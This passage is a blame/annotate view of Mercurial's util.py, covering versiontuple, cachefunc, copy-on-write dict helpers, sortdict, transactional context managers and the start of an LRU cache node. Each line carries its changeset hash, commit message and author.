diff
changeset
|
1182 vints.append(int(i)) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1183 except ValueError: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1184 break |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1185 # (3, 6) -> (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1186 while len(vints) < 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1187 vints.append(None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1188 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1189 if n == 2: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1190 return (vints[0], vints[1]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1191 if n == 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1192 return (vints[0], vints[1], vints[2]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1193 if n == 4: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1194 return (vints[0], vints[1], vints[2], extra) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1195 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1196 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1197 def cachefunc(func): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1198 '''cache the result of function calls''' |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1199 # XXX doesn't handle keywords args |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1200 if func.__code__.co_argcount == 0: |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1201 cache = [] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1202 |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1203 def f(): |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1204 if len(cache) == 0: |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1205 cache.append(func()) |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1206 return cache[0] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1207 |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1208 return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1209 cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1210 if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1211 # we gain a small amount of time because |
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1212 # we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1213 def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1214 if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1215 cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1216 return cache[arg] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1217 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1218 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1219 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1220 def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1221 if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1222 cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1223 return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1224 |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1225 return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1226 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1227 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1228 class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1229 """helper class to make copy-on-write easier |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1230 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1231 Call preparewrite before doing any writes. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1232 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1233 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1234 def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1235 """call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1236 if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1237 self._copied -= 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1238 return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1239 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1240 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1241 def copy(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1242 """always do a cheap copy""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1243 self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1244 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1245 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1246 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1247 class sortdict(collections.OrderedDict): |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1248 '''a simple sorted dictionary |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1249 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1250 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1251 >>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1252 >>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1253 sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1254 >>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
1255 >>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1256 ['b', 'a'] |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1257 ''' |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1258 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1259 def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1260 if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1261 del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1262 super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1263 |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1264 if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1265 # __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1266 def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1267 if isinstance(src, dict): |
43106
d783f945a701
py3: finish porting iteritems() to pycompat and remove source transformer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43103
diff
changeset
|
1268 src = pycompat.iteritems(src) |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1269 for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1270 self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1271 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1272 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1273 class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1274 """copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1275 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1276 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1277 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1278 >>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1279 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1280 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1281 >>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1282 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1283 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1284 >>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1285 >>> c is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1286 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1287 >>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1288 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1289 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1290 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1291 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1292 >>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1293 >>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1294 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1295 >>> b is b.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1296 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1297 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1298 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1299 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1300 class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1301 """copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1302 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1303 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1304 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1305 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1306 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1307 class transactional(object): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1308 """Base class for making a transactional type into a context manager.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1309 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1310 __metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1311 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1312 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1313 def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1314 """Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1315 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1316 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1317 def release(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1318 """Marks the end of the transaction. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1319 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1320 If the transaction has not been closed, it will be aborted. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1321 """ |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1322 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1323 def __enter__(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1324 return self |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1325 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1326 def __exit__(self, exc_type, exc_val, exc_tb): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1327 try: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1328 if exc_type is None: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1329 self.close() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1330 finally: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1331 self.release() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1332 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1333 |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1334 @contextlib.contextmanager |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1335 def acceptintervention(tr=None): |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1336 """A context manager that closes the transaction on InterventionRequired |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1337 |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1338 If no transaction was provided, this simply runs the body and returns |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1339 """ |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1340 if not tr: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1341 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1342 return |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1343 try: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1344 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1345 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1346 except error.InterventionRequired: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1347 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1348 raise |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1349 finally: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1350 tr.release() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1351 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1352 |
33619
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1353 @contextlib.contextmanager |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1354 def nullcontextmanager(): |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1355 yield |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1356 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1357 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1358 class _lrucachenode(object): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1359 """A node in a doubly linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1360 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1361 Holds a reference to nodes on either side as well as a key-value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1362 pair for the dictionary entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1363 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1364 |
41831
ae189674bdad
global: use raw strings for __slots__
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41384
diff
changeset
|
1365 __slots__ = (r'next', r'prev', r'key', r'value', r'cost') |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1366 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1367 def __init__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1368 self.next = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1369 self.prev = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1370 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1371 self.key = _notset |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1372 self.value = None |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1373 self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1374 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1375 def markempty(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1376 """Mark the node as emptied.""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1377 self.key = _notset |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1378 self.value = None |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1379 self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1380 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1381 |
